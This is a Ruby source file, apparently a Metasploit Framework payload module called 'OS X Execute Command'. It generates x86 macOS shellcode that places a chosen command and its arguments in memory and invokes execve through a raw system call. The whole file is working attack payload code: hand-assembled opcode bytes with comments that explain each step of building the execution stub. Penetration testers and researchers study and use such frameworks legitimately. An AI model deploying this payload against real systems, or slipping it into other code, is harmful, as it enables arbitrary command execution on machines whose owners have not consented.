93 lines
3.1 KiB
Ruby
93 lines
3.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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###
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#
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# Exec
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# ----
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#
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# Executes an arbitrary command.
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#
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###
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module Metasploit3
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include Msf::Payload::Single
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include Msf::Payload::Osx
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'OS X Execute Command',
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'Description' => 'Execute an arbitrary command',
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'Author' => [ 'snagg <snagg[at]openssl.it>',
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'argp <argp[at]census-labs.com>',
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'joev <jvennix[at]rapid7.com>' ],
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'License' => BSD_LICENSE,
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'Platform' => 'osx',
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'Arch' => ARCH_X86
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))
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# Register exec options
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register_options(
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[
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OptString.new('CMD', [ true, "The command string to execute" ]),
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], self.class
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)
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end
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#
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# Dynamically builds the exec payload based on the user's options.
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#
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def generate_stage
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cmd_str = datastore['CMD'] || ''
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# Split the cmd string into arg chunks
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cmd_parts = Shellwords.shellsplit(cmd_str)
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# the non-exe-path parts of the chunks need to be reversed for execve
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cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
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arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
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# Stuff an array of arg strings into memory
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payload = "\x31\xc0" + # xor eax, eax (eax => 0)
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Rex::Arch::X86.call(arg_str.length) + # jmp over CMD_STR, stores &CMD_STR on stack
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arg_str +
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"\x5B" # pop ebx (ebx => &CMD_STR)
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# now EBX contains &cmd_parts[0], the exe path
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if cmd_parts.length > 1
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# Build an array of pointers to arguments
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payload += "\x89\xD9" + # mov ecx, ebx
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"\x50" + # push eax; null byte (end of array)
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"\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)
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cmd_parts[1..-1].each_with_index do |arg, idx|
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# can probably save space here by doing the loop in ASM
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# for each arg, push its current memory location on to the stack
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payload += "\x81\xC1" + # add ecx, ...
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[cmd_parts[idx].length+1].pack('V') +
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# (cmd_parts[idx] is the prev arg)
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"\x51" # push ecx (&cmd_parts[idx])
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end
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payload += "\x53" + # push ebx (&cmd_parts[0])
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"\x89\xe1" + # mov ecx, esp (ptr to ptr to first str)
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"\x52" + # push edx
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"\x51" # push ecx
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else
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# pass NULL args array to execve() call
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payload += "\x50\x50" # push eax, push eax
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end
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payload += "\x53" + # push ebx
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"\xb0\x3b" + # mov al, 0x3b (execve)
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"\x50" + # push eax
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"\xcd\x80" # int 0x80 (triggers execve syscall)
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payload
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end
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end
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